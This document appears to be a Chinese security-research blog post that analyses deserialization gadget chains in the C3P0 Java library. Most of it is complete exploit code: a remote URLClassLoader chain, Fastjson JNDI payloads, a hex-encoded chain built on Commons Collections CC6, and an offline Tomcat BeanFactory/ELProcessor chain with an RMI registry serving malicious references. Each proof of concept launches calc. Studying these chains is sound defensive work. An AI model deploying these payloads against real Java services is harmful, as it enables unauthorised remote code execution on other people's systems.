c3p0 Gadget Learn
0x01.C3P0 组件简介
C3P0 是一个开源的 JDBC 连接池,它实现了数据源和 JNDI 绑定,支持 JDBC3 规范和 JDBC2 的标准扩展。目前使用它的开源项目有 Hibernate,Spring 等。
JDBC 是 Java DataBase Connectivity 的缩写,它是 Java 程序访问数据库的标准接口。
使用Java程序访问数据库时,Java 代码并不是直接通过 TCP 连接去访问数据库,而是通过 JDBC 接口来访问,而 JDBC 接口则通过 JDBC 驱动来实现真正对数据库的访问。
连接池类似于线程池,在一些情况下我们会频繁地操作数据库,此时Java在连接数据库时会频繁地创建或销毁句柄,增大资源的消耗。为了避免这样一种情况,我们可以提前创建好一些连接句柄,需要使用时直接使用句柄,不需要时可将其放回连接池中,准备下一次的使用。类似这样一种能够复用句柄的技术就是池技术。
0x02.pom
<dependencies>
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
</dependencies>
0x03. URLClassLoader Gadget
先看链尾触发点,在ReferenceableUtils.java
中referenceToObject
方法调用lookup进行JNDI查询,并且实例化,存在RCE,查看调用情况:
存在3处调用,来看ReferenceIndirector
的getObject
方法,这里会调用前者,实现lookup查询
这是一个包装类,我们查询Usage可以看到:
当我们重写其getReference
方法时,其JNDI查询的参数就是可控的,但为什么是包装类呢?
这里尝试将
connectionPoolDataSource
属性类序列化,而该类并不集成于Serializable
接口导致其无法序列化,因此需要包装类进行封装因此在这里链子如下:
PoolBackedDataSourceBase#readObject ->
ReferenceSerialized#getObject ->
ReferenceableUtils#referenceToObject ->
ObjectFactory#getObjectInstance
我们只需要实例化ConnectionPoolDataSource
并且重写其getReference
方法,便能设置一个远程工厂类地址fClassLocation,则会使用URLClassLoader进行远程类加载。
ExpClass如下:
package com.example;
public class ExpClass {
public ExpClass() throws Exception{
Runtime.getRuntime().exec("calc.exe");
}
}
Exp如下:
package com.example;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class exp {
public static class Exp_loader implements ConnectionPoolDataSource, Referenceable {
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
@Override
public Reference getReference() throws NamingException {
return new Reference("Calc","com.example.ExpClass","http://127.0.0.1:8888");
}
}
public static void Pool_Serial(ConnectionPoolDataSource c) throws Exception{
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Class cls = poolBackedDataSourceBase.getClass();
Field field = cls.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(poolBackedDataSourceBase,c);
// 写入数据
FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(poolBackedDataSourceBase);
}
public static void Pool_unserial() throws Exception{
FileInputStream fis = new FileInputStream(new File("exp.bin"));
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}
public static void main(String[] args) throws Exception{
Exp_loader exp_loader = new Exp_loader();
Pool_Serial(exp_loader);
Pool_unserial();
}
}
动调解析:
进入到getObject方法:
跟进
referenceToObject
方法,其中这里reference
已经通过getReference
拿到:最终调用URLClassLoader实例化,执行静态代码,造成RCE
0x04. JNDI注入 Gadget
全局搜索JNDI,找到JndiRefForwardingDataSource
类,其中在dereference
中找到
其中jndiName通过
this.getJndiName()
得到,跟进该方法看是否可控在这里其实不影响,因为jndiName
是String或者Object都做出了判断和处理,都可以进入ctx.lookup
进行查询操作,查找调用情况,inner()
方法会调用
这里全是getter或者setter方法,意味着满足作为fastjson
调用链的条件了,因为fastjson会自动调用setter方法,这里实际上已经可以利用了
构造Payload如下:
String payload = "{"@type":"com.mchange.v2.c3p0.JndiRefForwardingDataSource"," +
""jndiName":"rmi://xxx/ts8ul5","LoginTimeout":"1"}";
JSON.parse(payload);
调试可以看到进入到dereference
方法中,因为在这里JndiName
有setter
方法,所以即使是私有属性,通过fastjson也能够进行赋值
由于高版本jdk禁止了RMI协议使用远程codebase,在JDK 6u132, JDK 7u122, JDK 8u113之后Java限制了通过RMI远程加载Reference工厂类。因此这里需要手动添加
System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true")
0x05.hexbase 攻击利用
该利用链能够反序列化一串十六进制字符串,因此实际利用需要有存在反序列化漏洞的组件。
链子的入口点在WrapperConnectionPoolDataSource
构造方法中:
这里会将
userOverridesAsString
先从16进制转为byte数组,随后反序列化:
值得注意的是,在解析过程中调用了
substring()
方法将字符串头部的HASM_HEADER
截去了,因此我们在构造时需要在十六进制字符串头部加上 HASM_HEADER,并且会截去字符串最后一位,所以需要在结尾加上一个;
继续跟进deserializeFromByteArray
,调用readObject进行反序列化:
因此此处存在二次反序列化操作,这里我们用CC链做一个demo,并且由于UserOverridesAsString
存在getter
和setter
方法,因此使用Fastjson来加载比较合适
exp借鉴其他师傅的:
package com.example;
import com.alibaba.fastjson.JSON;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.beans.PropertyVetoException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class hexbase {
//CC6的利用链
public static Map CC6() throws NoSuchFieldException, IllegalAccessException {
//使用InvokeTransformer包装一下
Transformer[] transformers=new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer=new ChainedTransformer(transformers);
HashMap<Object,Object> hashMap1=new HashMap<>();
LazyMap lazyMap= (LazyMap) LazyMap.decorate(hashMap1,new ConstantTransformer(1));
TiedMapEntry tiedMapEntry=new TiedMapEntry(lazyMap,"abc");
HashMap<Object,Object> hashMap2=new HashMap<>();
hashMap2.put(tiedMapEntry,"eee");
lazyMap.remove("abc");
//反射修改LazyMap类的factory属性
Class clazz=LazyMap.class;
Field factoryField= clazz.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,chainedTransformer);
return hashMap2;
}
public static String bytesToHexString(byte[] bArray, int length) {
StringBuffer sb = new StringBuffer(length);
for(int i = 0; i < length; ++i) {
String sTemp = Integer.toHexString(255 & bArray[i]);
if (sTemp.length() < 2) {
sb.append(0);
}
sb.append(sTemp.toUpperCase());
}
return sb.toString();
}
//将类序列化为字节数组
public static byte[] tobyteArray(Object o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(o);
return bao.toByteArray();
}
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, PropertyVetoException {
byte[] payload_bytes = tobyteArray(CC6()) ;
String hex = bytesToHexString(payload_bytes,payload_bytes.length);
String payload = "{" +
""@type":"com.mchange.v2.c3p0.WrapperConnectionPoolDataSource"," +
""userOverridesAsString":"HexAsciiSerializedMap:"+ hex + ";"," +
"}";
JSON.parse(payload);
}
}
在调用该属性的Setter方法时,由于之前属性this.userOverridesAsString
是空,因为构造函数就是空的,而现在传入的userOverridesAsString
有值,因此进入vcs.fireVetoableChange
中,跟进vcs.fireVetoableChange
,最终到WrapperConnectionPoolDataSource#vetoableChange
这里propName
即属性名是userOverridesAsString
,因此会再次进行一次解析
而此时
userOverridesAsString
已经不为空,因此进入后续反序列化操作,实现RCEC3P0通过这种方式,在set完userOverridesAsString
属性后直接对其进行解析,减少了一次类初始化操作。
0x06.C3P0 不出网利用
假设存在这样的场景,目标机器不出网,又没有Fastjson依赖的话,C3P0链又该如何利用呢?
我们回头看C3P0中利用URLClassLoader进行任意类加载的攻击方式:
这里调用了URLClassLoader得到的任意类的getObjectInstance
方法,由于可以实例化任意类,所以我们可以将该类设置为本地的BeanFactory
类。在不出网的条件下可以进行EL表达式注入,而BeanFactory
依赖于tommcat8环境,和JNDI绕过高版本JDK限制一样,在这里顺便分析下后者,再来分析前者
JDNI绕过高版本JDK -- tomcat8
8u191后已经默认不允许加载codebase中的远程类,但我们可以从本地加载合适Reference Factory。
需要注意是,该本地工厂类必须实现javax.naming.spi.ObjectFactory
接口,因为在javax.naming.spi.NamingManager#getObjectFactoryFromReference
最后的return语句对Factory类的实例对象进行了类型转换,继承ObjectFactory
意味着该工厂类至少存在一个getObjectInstance()
方法。
org.apache.naming.factory.BeanFactory就是满足条件之一,并由于该类存在于Tomcat8依赖包中,先添加pom依赖:
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.0</version>
</dependency>
<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.15</version>
</dependency>
org.apache.naming.factory.BeanFactory
在getObjectInstance()
中会通过反射的方式实例化Reference所指向的任意Bean Class,并且会调用setter方法为所有的属性赋值。而该Bean Class的类名、属性、属性值,全都来自于Reference对象,均是攻击者可控的。
编写EXP:
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
ref.add(new StringRefAddr("forceString", "crispr=eval"));
ref.add(new StringRefAddr("crispr", "Runtime.getRuntime().exec("calc")"));
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
registry.bind("calc", referenceWrapper);
System.out.println("Registry running......");
}
随后lookup查询即可,我们来看一下BeanFactory的相关操作:
首先判断我们要从工厂生成的类是否是ResourceRef类的实例,接着实例化我们指定的javax.el.ELProcessor
forceString可以给属性强制指定一个setter方法,这里将属性crispr的setterName设置为了public java.lang.Object javax.el.ELProcessor.eval()
接着传入crispr的setter的参数,也就是Runtime.getRuntime().exec("calc")
。接着运行setter,实际上就相当于运行java.lang.Object javax.el.ELProcessor.eval(Runtime.getRuntime().exec("calc"))
。
0x06.C3P0 不出网利用 继续分析
回到前文,之前链子调用了URLClassLoader
得到的任意类的getObjectInstance
方法,这里我们也尝试重写BeanFactory工厂类来实现RCE
编写EXP:
package com.example;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;
import javax.annotation.Resource;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.naming.StringRefAddr;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;
import java.io.*;
import java.lang.reflect.Field;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;
public class nonet_exp {
public static class Exp_loader implements ConnectionPoolDataSource, Referenceable {
@Override
public Reference getReference() throws NamingException {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", (String)null, "", "", true, "org.apache.naming.factory.BeanFactory", (String)null);
ref.add(new StringRefAddr("forceString", "crispr=eval"));
ref.add(new StringRefAddr("crispr", "Runtime.getRuntime().exec("calc")"));
return ref;
}
@Override
public PooledConnection getPooledConnection() throws SQLException {
return null;
}
@Override
public PooledConnection getPooledConnection(String user, String password) throws SQLException {
return null;
}
@Override
public PrintWriter getLogWriter() throws SQLException {
return null;
}
@Override
public void setLogWriter(PrintWriter out) throws SQLException {
}
@Override
public void setLoginTimeout(int seconds) throws SQLException {
}
@Override
public int getLoginTimeout() throws SQLException {
return 0;
}
@Override
public Logger getParentLogger() throws SQLFeatureNotSupportedException {
return null;
}
}
public static void Pool_Serial(ConnectionPoolDataSource c) throws Exception{
PoolBackedDataSourceBase poolBackedDataSourceBase = new PoolBackedDataSourceBase(false);
Class cls = poolBackedDataSourceBase.getClass();
Field field = cls.getDeclaredField("connectionPoolDataSource");
field.setAccessible(true);
field.set(poolBackedDataSourceBase,c);
FileOutputStream fos = new FileOutputStream(new File("exp.bin"));
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(poolBackedDataSourceBase);
}
public static void Pool_Unserial() throws Exception{
FileInputStream fis = new FileInputStream("exp.bin");
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
}
public static void main(String[] args) throws Exception{
Exp_loader loader = new Exp_loader();
Pool_Serial(loader);
Pool_Unserial();
}
}
其实和URLClassLoader
加载并且实例远程类一样,只是在这里借用BeanFactory
工厂类的getObjectInstance方法,这样避免了远程加载,可以在目标机器不出网且没有FastJson依赖的情况下实现RCE